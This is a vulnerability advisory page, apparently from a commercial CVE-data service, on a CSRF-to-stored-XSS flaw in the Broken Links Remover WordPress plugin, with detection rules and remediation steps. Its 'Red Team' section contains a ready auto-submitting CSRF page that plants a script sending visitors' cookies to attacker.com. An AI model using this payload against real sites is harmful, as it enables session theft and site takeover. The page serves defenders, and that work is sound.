CVE-2025-39440
Executive Summary
CVE-2025-39440 is a Cross-Site Request Forgery (CSRF) vulnerability in the Broken Links Remover WordPress plugin (versions <= 1.2.2) developed by Rajesh. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as adding malicious JavaScript payloads that persist as Stored Cross-Site Scripting (XSS). The vulnerability is classified as CSRF to Stored XSS, meaning the CSRF vector enables the injection of XSS payloads that execute for all users visiting the affected page.
The plugin is part of the WordPress ecosystem, and the vulnerability resides in the plugin’s administrative interface, not in the core WordPress or server software (Apache/Nginx). The CVSS score is 7.1 (High), with a low EPSS score (0.0%) indicating limited active exploitation at the time of analysis. No public proof-of-concept (PoC) or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, standard package manager security checks do not apply. However, WordPress site administrators should ensure that the plugin is only installed from trusted sources and that file permissions are properly configured.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page
- Scope: Changed (S:C) – the vulnerability impacts resources beyond the original security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although the EPSS score is low, the combination of CSRF and Stored XSS can lead to account takeover, data theft, and further compromise of the WordPress site.
Deep Dive & Mechanics
The vulnerability exists in the Broken Links Remover plugin’s administrative settings page. The plugin fails to implement proper CSRF tokens (nonces) on state-changing requests, such as saving configuration options or adding/removing broken link entries. An attacker can craft a malicious HTML page that, when visited by an authenticated administrator, submits a forged request to the WordPress admin area.
Because the plugin also does not sanitize or escape user-supplied input before storing it in the database, the attacker can inject JavaScript payloads (e.g., <script>alert('XSS')</script>) via the CSRF request. This payload is then executed whenever any user (including other administrators) views the affected page, leading to Stored XSS.
Attack Flow:
- Attacker identifies a WordPress site running the vulnerable plugin.
- Attacker crafts a malicious HTML page containing a CSRF payload that adds a new broken link entry with a JavaScript payload.
- Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email).
- The admin’s browser sends the forged request, and the plugin stores the XSS payload.
- When the admin or any other user visits the plugin’s settings page, the payload executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be present in all versions <= 1.2.2. The following is a hypothetical example of the vulnerable code pattern:
Vulnerable Code (PHP):
// No CSRF nonce check
if (isset($_POST['save_settings'])) {
update_option('broken_links_remover_settings', $_POST['settings']);
}
// No output escaping
echo '<div>' . get_option('broken_links_remover_settings') . '</div>';
Patched Code (Hypothetical):
// Add CSRF nonce check
if (isset($_POST['save_settings']) && wp_verify_nonce($_POST['_wpnonce'], 'broken_links_remover_nonce')) {
$sanitized_settings = sanitize_text_field($_POST['settings']);
update_option('broken_links_remover_settings', $sanitized_settings);
}
// Escape output
echo '<div>' . esc_html(get_option('broken_links_remover_settings')) . '</div>';
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with Broken Links Remover plugin <= 1.2.2 installed and activated.
- An authenticated admin user session.
Exploitation Steps:
- Create a malicious HTML file (
csrf_exploit.html) with the following content:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin.php?page=broken-links-remover" method="POST">
<input type="hidden" name="action" value="add_broken_link">
<input type="hidden" name="link_url" value="http://evil.com">
<input type="hidden" name="link_text" value="<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the file on an attacker-controlled server.
- Send the link to the admin via phishing email or social engineering.
- Once the admin visits the page, the CSRF request is sent, and the XSS payload is stored.
- The payload executes when the admin or any user views the plugin page, exfiltrating cookies to the attacker’s server.
Note: No public exploit code is available from Exploit-DB.
Blue Team
Detection & Prevention:
- Monitor for unusual POST requests to
wp-admin/admin.phpwith parameters related to the Broken Links Remover plugin. - Implement Web Application Firewall (WAF) rules to block requests containing
<script>tags in form fields. - Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
- Regularly audit WordPress plugins for known vulnerabilities and apply patches immediately.
Lab Setup:
- Use a local WordPress installation (e.g., via Docker) with the vulnerable plugin.
- Simulate the attack using a browser with developer tools to inspect network requests.
- Verify that the CSRF token is missing and that the XSS payload is stored and executed.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin.phpwith parametersaction=add_broken_linkandlink_textcontaining JavaScript code. - Outbound connections to attacker-controlled domains (e.g.,
attacker.com) from the WordPress server.
- POST requests to
- File IOCs:
- Modified plugin files in
/wp-content/plugins/broken-links-remover/(e.g., unexpected PHP files). - Presence of JavaScript payloads in the
wp_optionstable underbroken_links_remover_settings.
- Modified plugin files in
- Log IOCs:
- WordPress debug log entries showing unexpected input in plugin settings.
- Web server access logs with suspicious referrer headers or user-agent strings.
Detection Engineering
YARA Rule
rule CVE_2025_39440_CSRF_XSS {
meta:
description = "Detects CSRF to Stored XSS in Broken Links Remover plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-39440"
strings:
$php_vuln = /update_option\(\s*['\"]broken_links_remover_settings['\"]\s*,/ nocase
$xss_payload = /<script[^>]*>.*<\/script>/i
condition:
$php_vuln and #xss_payload > 0
}
Sigma Rule
title: CVE-2025-39440 - CSRF to Stored XSS in Broken Links Remover
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects POST requests to WordPress admin with suspicious parameters indicating CSRF exploitation
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
c-uri|contains: /wp-admin/admin.php
cs-uri-query|contains|all:
- 'page=broken-links-remover'
- 'action=add_broken_link'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39440 - CSRF to Stored XSS in Broken Links Remover"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=broken-links-remover"; http_uri; content:"action=add_broken_link"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Manually remove any stored XSS payloads from the
wp_optionstable (key:broken_links_remover_settings). - Change all admin passwords and invalidate existing sessions.
Long-term Mitigation:
- Implement a Web Application Firewall (WAF) with rules to block CSRF and XSS attempts.
- Enforce Content Security Policy (CSP) headers to prevent inline script execution.
- Regularly update all WordPress plugins and core.
- Use security plugins (e.g., Wordfence) that provide virtual patching for known vulnerabilities.
Vendor Communication:
- Contact the plugin author (Rajesh) via the WordPress plugin support forum to request a patch.
- Monitor the plugin’s page for updates.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.